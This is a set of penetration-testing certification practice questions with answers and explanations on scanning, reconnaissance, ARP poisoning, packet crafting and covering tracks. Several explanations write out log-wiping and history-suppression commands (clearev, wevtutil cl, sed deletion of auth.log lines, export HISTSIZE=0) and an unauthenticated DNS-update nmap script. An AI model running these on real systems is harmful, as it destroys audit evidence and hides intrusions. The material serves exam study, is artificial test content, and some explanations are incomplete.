What techniques are commonly used by port and vulnerability scanners to enumerate the services running on a target system? A) using the -O option in nmap and UDP response timing B) banner grabbing and UDP response timing C) banner grabbing and comparing response fingerprints D) comparing response fingerprints and registry scanning	Correct Answer: banner grabbing and comparing response fingerprints Explanation: Service and version identification are often performed by conducting a banner grab or by checking responses for services to known fingerprints for those services. UDP response timing and other TCP/IP stack fingerprinting techniques are used to identify operating systems only. Using nmap -O will conduct an operating system fingerprint scan, but it will not identify the other services being run.
A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds? A) Scapy B) hping3	Correct Answer: Scapy Explanation: Two CLI tools to craft and send a malformed packet to your target include Scapy and hping/Hping3. For this question, the best answer is ... scapy. Yes, this is a tricky question and you should take this opportunity to learn how to differentiate scapy and hping3. Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f. In scapy you define a set of packets, then it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. hping3 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like ping does with ICMP

C) tcpdump D) Nmap	replies. It handles fragmentation and arbitrary packet body and size, and can be used to transfer files under supported protocols. Using hping3, you can test firewall rules, perform (spoofed) port scanning, test network performance using different protocols, do path MTU discovery, perform traceroute-like actions under different protocols, fingerprint remote operating systems, audit TCP/IP stacks, etc. Nmap is a utility for network exploration or security auditing. It supports ping scanning (determine which hosts are up), many port scanning techniques, version detection (determine service protocols and application versions listening behind ports), and TCP/IP fingerprinting (remote host OS or device identification). Nmap also offers flexible target and port specification, decoy/stealth scanning, sunRPC scanning, and more. Most Unix and Windows pla
Matt is trying to enumerate the internal network that he believes is behind a firewall. What tool would he use to discover the details of the internal network? A) WAFNinja B) Wafw00f C) ObsfuscatedEmpire D) Datapipe E) Firewalk	Correct Answer: Firewalk Explanation: Firewalking is a technique that uses a combination of traceroute and port scanning to discover the details of the internal network. The Firewalk tool, which is available on Kali Linux, creates specially crafted packets to see what traffic can pass through a device. In addition to Firewalking, the team can attempt to access a blocked port by using applications such as Datapipe to redirect the traffic to another port. Wafw00f and WAFNinja are automated tools for WAF detection available on GitHub. And you can obfuscate a known signature using a tool such as ObfuscatedEmpire, which is a fork of Empire that has Invoke-Obfuscation baked directly into its functionality.
An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports? A) Drozer B) OWASP ZAP C) OpenVAS D) Burp Suite	Correct Answer: OpenVAS Explanation: The Greenbone Vulnerability Manager is a modular security auditing tool, used for testing remote systems for vulnerabilities that should be fixed. This package installs all the required packages. It provides scripts to setup, start and stop the GVM services. The tool was previously named OpenVAS. During the PenTest process, the team might need to decompile executables and observe their behavior. Drozer is open-source software used for testing for vulnerabilities on Android devices. Drozer is an attack framework that allows you to find security flaws in the app and devices. It works as a client-server model and lets you assume the role of an Android app so you can observe the behavior of the app as it interacts with other apps. F-Secure has stopped development of the Drozer tool. Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art automation, to make your work faster, more effective, and more fun. The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. ZAP creates a proxy server and makes the website traffic

	pass through the server. The use of auto scanners in ZAP helps to intercept the vulnerabilities on the website.
You have been asked to determine if TU's web server is vulnerable to a recently discovered attack on an older version of SSH. Which technique should you use to determine the current version of SSH running on their web server? A) protocol analysis B) vulnerability scan C) banner grabbing D) passive scan	Correct Answer: banner grabbing Explanation: Banner grabbing is conducted by actively connecting to the server using telnet or netcat and collecting the web server's response. This banner usually contains the server's operating system and the version number of the service (SSH) being run. This is the fastest and easiest way to determine the SSH version being run on this web server. While it is possible to use a vulnerability scanner, protocol analyzer, or to conduct a passive scan to determine the SSH version, these are more time-consuming and not fully accurate methods to determine the version being run.
Which of the following network devices can accidentally misdirect probes or attacks if the penetration tester is not aware of their existence? A) network sniffer B) IDS C) load balancer D) VPN E) WAP	Correct Answer: load balancer Explanation: A load balancer is used to ensure network hosts receive a response to a request in a timely manner by redirecting requests across several servers. Due to this, load balancers may inadvertently misdirect probes or attacks to a different server than the penetration tester initially targeted. Wireless access points, intrusion detection systems, and network sniffers are passive devices and do not redirect inbound traffic from a penetration tester. The team can detect the presence of a load balancer by using the load balancing detector (lbd) app in Kali Linux
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective? A) Scapy B) dig C) tcpdump D) Socat	Correct Answer: Scapy Explanation: Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f. In scapy you define a set of packets, then it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. Socat (for SOcket CAT) establishes two bidirectional byte streams and transfers data between them. Data channels may be files, pipes, devices (terminal or modem, etc.), or sockets (Unix, IPv4, IPv6, raw, UDP, TCP, SSL). It provides forking, logging and tracing, different modes for interprocess communication and many more options. It can be used, for example, as a TCP relay (one-shot or daemon), as an external socksifier, as a shell interface to Unix sockets, as an IPv6 relay, as a netcat replacement, to redirect TCP-oriented programs to a serial line, or to establish a relatively secure environment (su and chroot) for running client or server shell scripts inside network connections. tcpdump allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types. It can be used to print out the headers of packets on a network interface, filter packets that match a certain expression. You can use this tool to track down network problems, to detect attacks or to monitor network activities. The dig command in Linux is used to gather DNS information. It stands for Domain Information Groper, and it collects data

Which of the following methods should a cybersecurity analyst use to locate any instances on the network where passwords are being sent in cleartext? A) full packet capture B) net flow capture C) software design documentation review D) SIEM event log monitoring	Correct Answer: full packet capture Explanation: Full packet capture records the complete payload of every packet crossing the network. The other methods will not provide sufficient information to detect a cleartext password being sent. A net flow analysis will determine where communications occurred, by what protocol, to which devices, and how much content was sent. Still, it will not reveal anything about the content itself since it only analyzes the metadata for each packet crossing the network. A SIEM event log being monitored might detect that an authentication event has occurred. Still, it will not necessarily reveal if the password was sent in cleartext, as a hash value, or in the ciphertext. A software design documentation may also reveal the designer's intentions for authentication when they created the application, but this only provides an 'as designed' approach for a given software and does not provide whether the 'as-built' configuration was implemented securely.
Which of the following is a best practice that should be followed when scheduling vulnerability scans of an organization's data center? A) schedule scans to run during peak times to simulate performance under load B) schedule scans to begin at the same time every day C) schedule scans to run during periods of low activity D) schedule scans to be conducted evenly throughout the day	Correct Answer: schedule scans to run during periods of low activity Explanation: For the best results, the scans should be scheduled during periods of low activity. This will help to reduce the negative impact of scanning on business operations. The other three options all carry a higher risk of causing disruptions to the network or its business operations.
Matt is not sure if TU has a load balancer to manage connections to its Virtual Desktop Infrastructure (VDI) hosted at vdi.utuls.edu. What tool, built into Kali, can he use to test for the presence of the load balancer? A) nmap B) ZAP C) lbd D) netcat	Correct Answer: lbd Explanation: Load balancing helps ensure network hosts receive a response to a request in a timely manner, which in turn will improve network and application performance. However, during scanning, it's important to identify any devices such as load balancers that can misdirect probes or attacks. You can detect the presence of a load balancer by using the load balancing detector (lbd) app in Kali Linux. HTTP reponse obfuscation is a made-up term and the presence of a WAF does not indicate a TLS downgrade attack is possible
Matt is analyzing TU's attack surface during the reconnaissance phase of a penetration testing engagement. Which of the following tools would he use to identify TU systems that are exposed to the Internet? Select all that apply. A) Wapiti B) Censys C) Shodan D) SQLMap	Correct Answers Shodan Censys Explanation: When testing for vulnerabilities, one tool the team can use is Censys, an attack surface analyzer, similar to Shodan, to identify exposed systems. https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=www.utulsa.edu Wapiti allows you to audit the security of your web applications. It performs "black-box" scans, i.e. it does not study the source code of the application but will scan the web pages of the deployed web applications, looking for scripts and forms where it can inject data. Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable. SQLmap's goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database

	management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.
A new alert has been distributed throughout the information security community regarding a critical Apache vulnerability. What action could you take to ONLY identify the known vulnerability? A) perform an unauthenticated vulnerability scan on all servers in the environment B) perform an authenticated scan on all web servers in the environment C) perform a scan for the specific vulnerability on all web servers in the environment D) perform a web vulnerability scan on all servers in the environment	Correct Answer: perform a scan for the specific vulnerability on all web servers in the environment Explanation: This question is a lot about really reading all the words that are present in the answer choices, and not making assumptions compared to the other answer choices. Since you wish to check for only the known vulnerability, you should scan for that specific vulnerability on all web servers. All web servers are chosen because Apache is a web server application. While performing an authenticated scan of all web servers or performing a web vulnerability scan of all servers would also find these vulnerabilities, it is a much larger scope. It would waste time and processing power by conducting these scans instead of properly scoping the scans based on your needs. Performing unauthenticated vulnerability scans on all servers is also too large in scope (all servers) while also being less effective (unauthenticated scan).
An analyst's vulnerability scanner did not have the latest set of signatures installed. Due to this, several unpatched servers may have vulnerabilities that were undetected by their scanner. You have directed the analyst to update their vulnerability scanner with the latest signatures at least 24 hours before conducting any scans. However, the results of their scans still appear to be the same. Which of the following logical controls should you use to address this situation? A) test the vulnerability remediations in a sandbox before deploying them into production B) configure the vulnerability scanner to run a credentialed scan C) ensure the analyst manually validates that the updates are being performed as directed D) create a script to automatically update the signature every 24 hours	Correct Answer: create a script to automatically update the signature every 24 hours Explanation: Since the analyst appears not to be installing the latest vulnerability signatures according to your instructions, it would be best to create a script and automate the process to eliminate human error. The script will always ensure that the latest signatures are downloaded and installed in the scanner every 24 hours without any human intervention. While you may want the analyst to manually validate the updates were performed as part of their procedures, this is still error-prone and likely not to be conducted properly. Regardless of whether the scanners are being run in uncredentialed or credentialed mode, they will still miss vulnerabilities if using out-of-date signatures. Finally, the option to test the vulnerability remediations in a sandbox is a good suggestion. Still, it won't solve this scenario since we are concerned with the scanning portion or vulnerability management and not remediation.
An organization has hired a cybersecurity analyst to conduct an assessment of its current security posture. The analyst begins by conducting an external assessment against the organization's network to determine what information is exposed to a potential external attacker. What technique should the analyst perform first? A) enumeration B) DNS query log reviews C) technical control audits D) intranet protocol reviews	Correct Answer: enumeration Explanation: Scanning and enumeration are used to determine open ports and identify the software and firmware/device types running on the host. This is also referred to as footprinting or fingerprinting. This technique is used to create a security profile of an organization by using a methodological manner to conduct the scanning. If this scan is conducted from outside of the organization's network, it can be used to determine the network devices and information available to an unauthorized and external attacker. A DNS query log review, intranet portal review, or technical control audit would require internal access to the network, which is typically not accessible directly to an external attacker.
Matt is replacing his organization's current vulnerability scanner with a new tool. As he begins to create the scanner's configura-	Correct Answer: corporate policy Explanation:

tions and scanning policy, he notices a conflict in the settings recommended between different documents. Which of the following sources must Jay follow when trying to resolve these conflicts? A) NIST guideline documents B) configuration settings used in the prior vuln scanner system C) use the scanner defaults D) corporate policy E) vender best practices	Policies are formalized statements that apply to a specific area or task. Policies are mandatory, and employees who violate a policy may be disciplined. Guidelines are general, non-mandatory recommendations. Best practices are considered procedures that are accepted as being correct or most effective but are not mandatory to be followed. Configuration settings from the prior system could be helpful, but this is not a mandatory compliance area like a policy. Default settings are likely inadequate since the defaults set by the vendor are generic and not tuned to the organization. Therefore, he should first follow the policy before the other options if there is a conflict.
Kai is setting up a netcat listener but they want to start up in UDP instead of TCP. What parameter should they use? A) -L B) -u C) -l D) -e	Correct Answer: -u Explanation: The -u parameter starts Netcat in UDP mode. The default is to use TCP. Netcat is a command-line utility used to read from or write to a TCP or UDP network connection. The -l parameter starts Netcat in listen mode. The default mode is to act as a client. The -L parameter starts Netcat in the Windows-only "listen harder" mode. This mode creates a persistent listener that starts listening again when the client disconnects. The -e parameter specifies the program to execute when a connection is made.
You are working as part of a penetration testing team. You look over the shoulder of your team members and see the following sample of network traffic in Wireshark: <see image> Which of the following types of Nmap scans was run against the target based on the network traffic shown above? A) nmap -sX B) nmap -sF C) nmap -sU D) nmap -sN E) nmap -sS	Correct Answer: nmap -sS Explanation: The image shows a SYN request for increasing port numbers, which indicates a SYN stealth scan (-sS). sX is a Christmas tree scan (FIN, PSH, URG); sF sends a TCP FIN message, sU is a UDP port scan, sN is a Null scan (no TCP flags set)
A penetration tester conducted a vulnerability scan against a client's critical servers and found the following: <see image> Which of the following would be a recommendation for remediation? A) Utilize the secure software development life cycle B) Deploy a user training program C) Configure access controls on each of the servers D) Implement a patch management plan	Correct Answer: Implement a patch management plan Explanation: The scan results show Win Server 2012!! OH BOY... with many security updates available but not installed. The key problem here is that there is no vulnerability and patch management program in place, otherwise this would not have happened.
A consultant is reviewing the following output after reports of intermittent connectivity issues: (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet] (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet] (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet] (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet] (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet] (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent	Correct Answer: A device on the network has poisoned the ARP cache. Explanation: During active reconnaissance, the team will gather intel to help prepare for the next phase. Part of this process will most likely involve gathering MAC addresses, as they can be useful in several ways. One reason the team might gather ARP traffic is to discover hosts on a network. An attacker might want to conduct reconnaissance against MAC addresses so that they identify devices on the same Layer 2 switch to conduct various tailored attacks against. Note: Gathering ARP traffic will only work on a LAN as ARP is not routable. For example, the team might use MAC addresses to launch an ARP poisoning attack. This attack deliberately maps an

[ethernet] Which of the following is MOST likely to be reported by the consultant? A) A multicast session was initiated using the wrong multicast group. B) A device on the network has poisoned the ARP cache. C) A device on the network has an IP address in the wrong subnet. D) An ARP flooding attack is using the br	incorrect MAC address to a correct IP address, which poisons the ARP cache. ARP poisoning is used to redirect traffic for malicious purposes. This technique is one of the most common spoofing mechanisms used on Ethernet and Wi-Fi networks, as it allows an attacker to insert themselves in a man-in-the-middle attack between two legitimate hosts. To gather ARP traffic, the team can use the following: - Nessus, which has several plugins to enumerate MAC addresses on targets - Nmap can also gather MAC addresses by using the following command : nmap -PR -sn . In this command, -PR will do an ARP ping and -sn will disable a port scan. - Arping is a tool found in Kali Linux. Arping will send a series of ARP requests to the target. The target will send an ARP reply in response.
A systems administrator wants to conduct a scan to identify which services are open on their machines in an attempt to try to disable unused services. Which of the following should they perform? A) NSE scan B) TCP scan C) ping scan D) OS scan	Correct Answer: TCP scan Explanation: TCP Scans will check for open and listening TCP ports to determine what services are in use. Ping Scans will ping a range of IP addresses to learn which machines are responding. This is useful to conduct a quick scan to see what is identifiable on the network. OS Footprinting will identify the operating systems in use on the network. While this does identify services, the administrator already knows what operating systems that they are administering. Nmap Scripting Engine (NSE) scripts are a core component of Nmap that allows users to customize activity and automate the scanning process. While these can enumerate services, there are several varying categories.
Kai modified some of the timestamps in the event logs of a target machine as follows: <<see picture>> Of the choices below, which tool did Kai use to alter the timestamps? A) PowerShell B) PsExec C) WinRM D) TimeStomp E) TimeEdit	Correct Answer: TimeStomp Explanation: The concept of time is very important on a network. If you can modify the time that certain events are recorded, you can deceive the investigators during a forensic investigation. Changing time-based values is not just limited to event logs. You can also alter a file's modification, access, created, and entry modified (MACE) metadata. Changing the MACE values is possible by using Metasploit's meterpreter tool called TimeStomp which allows you to delete or modify timestamp-related information on files.
Kai wants to install a tool that will conceal his location while while conducting an attack against a customer's network by using intermediary nodes to route attack traffic. Which of the following tools should they install? A) SET B) Burp Suite C) Kismet D) ProxyChain4	Correct Answer: ProxyChain4 Explanation: Burp Suite is an integrated platform included for testing web applications' security by acting as a local proxy so that the attacker can capture, analyze, and manipulate HTTP traffic. SET (Social Engineering Toolkit) is an open-source penetration testing framework included with Kali Linux that supports social engineering to penetrate a network or system. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux. ProxyChain4 is a command-line tool (installed by default on Kali) that enables pen testers to mask their identity and/or source IP address by sending messages through intermediary or proxy servers.
A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used deter-	

mined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings? A) Utilize an nmap -sV scan against the service B) Manually check the version number of the VoIP service against the CVE release C) Test with proof-of-concept code from an exploit database D) Review SIP traffic from an on-path position to look for indicators of compromise	Correct Answer: Manually check the version number of the VoIP service against the CVE release Explanation: Vulnerability scanners are not perfect - false positives happen. The only way to verify that a host has an identified vulnerability is to manually check that the vulnerable service or software is installed
You have been tasked to create some baseline system images to remediate vulnerabilities found in different operating systems. Before any of the images can be deployed, they must be scanned for malware and vulnerabilities. You must ensure the configurations meet industry-standard benchmarks and that the baselining creation process can be repeated frequently. What vulnerability scanner option would BEST create the process requirements to meet the industry-standard benchmarks? A) use an authorized credential scan B) usa a known malware plugin C) use an operating system SCAP plugin D) use a non-credential scan	Correct Answer: use an operating system SCAP plugin Explanation: Security Content Automation Protocol (SCAP) is a multi-purpose framework of specifications supporting automated configuration, vulnerability and patch checking, technical control compliance activities, and security measurement. It is an industry standard and supports testing for compliance. The other options will not allow for a truly repeatable process since individual scans would occur each time instead of comparing against a known good baseline.
Kai realizes that many network security devices are tuned to identify malicious activity, such as scanning the network. To avoid detection Kai's team can use a stealth scan. Which of the following methods does nmap use in a Stealth Scan? Select all that apply. A) FIN scan B) NULL scan C) UDP SYN scan D) TCP SYN scan E) XMAS Tree scan	Correct Answers TCP SYN scan FIN scan NULL scan XMAS Tree scan Explanation: Stealth scans use all of these options except a UDP SYN scan , which is not a real thing, since UDP does not have flag options. When using a SYN scan, the nmap response will indicate the state as follows: If the port is open, the target will return a SYN ACK, If the port is closed, the target will return a reset (RST), If the target is filtered using a firewall, the packet will be dropped and no response is sent. When using a XMAS Tree, Null or FIN scan, the response will indicate the state as follows: If the port is open, there will be no response; If the port is closed, the target will return a reset (RST); If the target is filtered using a firewall, the packet will be dropped and no response is sent. A stealth scan uses techniques that try to exploit the expected behavior of TCP. When used alone, the scans may have limited effectiveness. However, using a stealth scan in combination with other features of Nmap can prove to be more fruitful.
Kai has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective? A) PsExec B) MP4 steganography C) Alternate data streams D) PowerShell modules	Correct Answer: PowerShell modules Explanation: This is a tough question even though only two choices that make sense for running a binary are PowerShell and psexec. PsExec is a command line tool allowing the execution of processes on a remote system and transfer the results of operations to the local console. It has a long list of optional parameters that allow a great deal of flexibility for IT administrators. The key feature of PsExec is to allow users to run a script or application within the security context of either the currently logged on user or as a user provided during program initialization. PowerShell is provided by Microsoft as a replacement of shell to bring advanced scripting to Windows. It provides full access to COM and WMI and enables administrators to perform system commands on both local and remote Windows systems. That full access to WMI and the call out of wmic.exe in the question makes PowerShell the correct answer.

Kai gains access to a remote system and wants to test exfiltrating data via encrypted mechanisms and proxies using a CLI tool. What could they use to accomplish this? A) Coagula B) Yersina C) ncat D) netcat	Correct Answer: ncat Explanation: Ncat is an Interactive CLI tool written for the Nmap Project. Ncat is used to read and write raw data over a network and includes support for proxy connections along with IPv6 and SSL communications. Netcat is a command-line utility used to read from or write to a TCP or UDP network connection. It can create or connect to a TCP server, act as a simple proxy or relay, transfer files, launch executables (such as a backdoor shell) when a connection is made, test services and daemons, and even scan ports. However, ncat is more advanced. Coagula is a tool used to synthesize an image into a .wav file. To achieve this, you'll need to download Coagula and Audacity, which are both free programs. Yersinia uses packet crafting techniques as part of the attack. A more popular packet crafting tool is Scapy pr hping3 which allows users to craft their own packets.
Kai is part of an internal purple team and wants to gather ARP traffic on the internal network in order to conduct an ARP poisoning attack. The goal is to test whether the company's network security tools will detect an active ARP poisoning attack, the SOC will be alerted, and appropriate incident response actions will be taken. Kai decides to use nmap because... its just so fast, easy to use, and free. Which nmap options will Kai use to gather ARP addresses? A) nmap -sX -v <target> B) nmap -PR -sn <target> C) nmap -Pn -sS <target> D) nmap -O -sV <target>	Correct Answer: nmap -PR -sn <target> Explanation: nmap -PR -sn : PR will do an ARP ping, sn disables port scanning nmap -Pn -sS : Pn treats hosts as online (no host discovery), -sS is a SYN stealth scan nmap -O -sV : O enables OS detection, sV probes open ports to determine service/version info nmap -sX -v : sX conducts a Christmas Tree scan, v sets verbosity level
Kai wants to cover his tracks during a PenTesting engagement. Specifically, she wants to clear all Windows event logs on target machines. Which of the following commands could be used? A) sed -I '/backdr/d' /var/log/auth.log B) clearev C) wevutil cl Application D) echo "" > /var/log/syslog	Correct Answer: clearev Explanation: Using Metasploit's meterpreter you can issue the command, clearev , which will clear all Windows event logs. When using the command line interface (CLI) in Windows, you can also clear individual log categories. For example: wevtutil cl Application will clear the application log. To clear logs on a Linux system, you can use one of several methods that you'd use to clear any text file. For example, to clear the syslog use: echo "" > /var/log/syslog. Rather than wiping a log entirely and giving investigators something to be suspicious about, you can instead remove specific entries that could reveal your attack. For example, you've logged into a Linux system using a backdoor account called "backdr." Before leaving, you could wipe any entries in auth.log that show the account logging in, rather than clearing the entire log. One way to do this is by using the stream editor (SED), which has the ability to search, find, delete, replace, insert, or edit without having to open the file. The following example uses SED to delete all lines

	matching the given string (backdr), while keeping the other lines intact: sed -i '/backdr/d' /var/log/auth.log
Kai is on a PenTest engagement and gets the following output from his nmap scan: <<see picture>> With this information, which attack would Kai most likely attempt next? A) DNS DoS B) DNS rollback attack C) DNS downgrade attack D) DNS cache poisoning	Correct Answer: DNS cache poisoning Explanation: On a network, updating the DNS recursive servers should only be completed by trusted sources. If the server is not properly configured, this can lead to an attack, such as a DNS cache poisoning attack. In this attack, the malicious actor will corrupt the DNS cache of a recursion server to point a victim to a bogus IP address. To see if the server is vulnerable to this type of attack, the team will need to first check and see if the server uses recursion. As shown in the screenshot, the script dns-recursion is run and has reported that recursion is enabled. After determining that the server uses recursion, the team can attempt to perform a dynamic DNS update without authentication. This can be achieved using the following script: nmap -sU -p 53 --script=dns-update --script-args=dns-update.hostname=target.example.com,dns-update.ip=192.0.2.1 <target></target>
Kai is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.) A) Shodan B) Retina C) Wireshark D) Nessus E) Burp Suite	Correct Answers Wireshark Shodan Explanation: Of these choices, using Wireshark to analyze pcaps and Shodan (to examine externally exposed IP addresses and running services) will have little/no impact on network operations. On the contrary, running scannlers like Nessus, Retina, and Burpsuite consume network traffic and host resources and can impact normal network operations.
Kai's military unit has adopted sending communications hidden in the white space of text files as a standard operating procedure. Which of the following tools uses white space to conceal data payloads? A) Steghide B) OpenStego C) Yersina D) Snow	Correct Answer: Snow Explanation: Snow is a CLI steganography tool that conceals a data payload within the whitespace of a text file that uses the ASCII format. Steghide is an open-source tool used to conceal a payload in either an image or audio file. The software can compress, conceal, and encrypt data. OpenStego is similar to most other tools in that you embed a message in a carrier file. To get started, you'll need to make sure that you have the Java Runtime Environment (JRE) installed. Yersinia uses packet crafting techniques as part of the attack. A more popular packet crafting tool is Scapy pr hping3 which allows users to craft their own packets.
A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective? A) Perform a brute-force attack over the server. B) Use an FTP exploit against the server. C) Capture traffic using Wireshark. D) Wait for the next login and perform a downgrade attack on the server.	Correct Answer: Capture traffic using Wireshark. Explanation: Since the on-path attack has already taken place (according the question), the best way to get the unencrypted FTP credentials is to simply capture pcaps using Wireshark and look for ftp login credentials

Kai wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.) A) A vulnerability scan B) Port knocking C) Open-source research D) Traffic sniffing E) A ping sweep	Correct Answers Open-source research Traffic sniffing Explanation: Of these choices, OSINT research will be completely undetectable. This is the easy answer. These are the easy wrong answers: A ping sweep will be easily identified on a firewall (unless singificant precautions in the ping sweep are taken) and vulnerability scans are very noisy, generally easy to detect. Port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s). The port-knocking connection attempts are detectable. The only remaining answer is traffic sniffing, but more information on how that traffic sniffing will occur is needed to feel good about this answer. Is it traffic sniffing on an open WiFi network? Maybe this is OK. Otherewise, it is difficult to sniff network traffic without organizational network access.
You are conducting a penetration test and performing active reconnaissance. You want to configure your tool to probe the target organization's firewall to determine its rules. Which of the following scan types should you utilize? A) SYN scan B) RST scan C) XMAS tree scan D) ACK scan	Correct Answer: ACK scan Explanation: TCP ACK scans can be used to determine what services are allowed through a firewall. An ACK scan sends TCP packets with only the ACK bit set. Whether ports are open or closed, the target is required to respond with an RST packet. Firewalls that block the probe usually make no response or send back an ICMP destination unreachable error. This distinction allows Nmap to report whether the ACK packets are being filtered. A TCP SYN scan can sometimes be used to determine what ports are filtered. Still, if the firewall is configured to drop packets for disallowed ports instead of sending an RST packet, then a TCP SYN scan will not be able to determine if a firewall was there or if the port was simply unavailable. A target sends a TCP RST packet in response to a TCP ACK scan, but a TCP RST is not a valid type of scan itself. An XMAS Tree scan will set the FIN, PSH, and URG flags in the TCP packet. This is a noisy type of scan and not useful for probing firewall rules.
Kai is in the reconnaissance phase of PenTesting against an organization with multiple office locations in different cities. He is hoping to find a rogue access point at several of the company locations that he can exploit during the engagement, but doesn't have time to war drive himself. He wants to use a tool that uses crowdsourced wardrivers that maps and indexes access points and SSIDs as a starting point. What tool should he use? A) WiGLE	Correct Answer: WiGLE Explanation: WiGLE is considered an OSINT tool to help during the reconnaissance phase of PenTesting. To get the true functionality of WiGLE, you'll need to create an account. Once you are in the interface, you can do the following: Enter a location, such as a city or specific address; Choose an appropriate date range; Select an option, for example "Possible Freenet". Once you have selected a location and set your filters, the interface will be populated with dots. Each dot represents an access point, where you can zoom in to learn more about that AP. The incorrect answers are... Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: Monitoring: Packet capture and export of data to text files for further processing by third party tools; Attacking:

B) Wapiti C) aircrack-ng D) airmon-ng	Replay attacks, deauthentication, fake access points and others via packet injection; Testing: Checking WiFi cards and driver capabilities (capture and injection); Cracking: WEP and WPA PSK (WPA 1 and 2). Airmon-ng utility is a command-line tool used to enable monitor mode on wireless interfaces. It can also be used to switch back from Monitor mode to Managed Mode. However, this tool is not available as a standalone utility. It comes with the Aircrack-ng package. Wapiti allows you to audit the security of your web applications. It performs "black-box" scans, i.e. it does not study the source code of the application but will scan the web pages of the deployed web applications, looking for scripts and forms where it can inject data. Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task? A) nmap -O -v -p80 192.168.1.20 B) nmap -f -sV -p80 192.168.1.20 C) nmap -sS -sL -p80 192.168.1.20 D) nmap -A -T4 -p80 192.168.1.20	Correct Answer: nmap -A -T4 -p80 192.168.1.20 Explanation: You tell me
Kai wants to cover her tracks during an engagement by setting the command history to zero before executing any commands on the compromised machine. Which of the following commands in a bash shell should Kai execute? A) history -c B) Clear-History C) echo "" > ~/.bash_history D) hit Alt+F7 E) export HISTSIZE=0	Correct Answer: export HISTSIZE=0 Explanation: Certain shells, such as the Bash shell on a Linux OS, will store the last n commands in history. A good forensic analyst can retrieve this history and piece together your executed commands. However, you can cover your tracks by setting the command history to zero before executing the commands. For a Bash shell, this command is as follows: export HISTSIZE=0 . If the system has already recorded a shell history, it's possible to delete the entries. Depending on the OS you are working with, you will need to issue one of the following: - On a Linux machine using a Bash shell enter either echo "" > ~/.bash_history or history -c. - In a Windows OS, you can clear the history of cmd.exe by pressing Alt+F7 or by simply terminating the process. - While in PowerShell, clear the history by using the Clear-History cmdlet.
A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap -O -A -sS -p1-65535 100.100.100.50 Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan? A) The penetration tester used unsupported flags. B) The edge network device was disconnected. C) The scan returned ICMP echo replies. D) A firewall or IPS blocked the scan.	Correct Answer: A firewall or IPS blocked the scan. Explanation: The fact that the Fast (-F) scan (scans fewer ports than normal) found open ports but full range port scan returned Filtered likely means that a firewall identified the scanning and stopped repsonses to your scanning host IP.
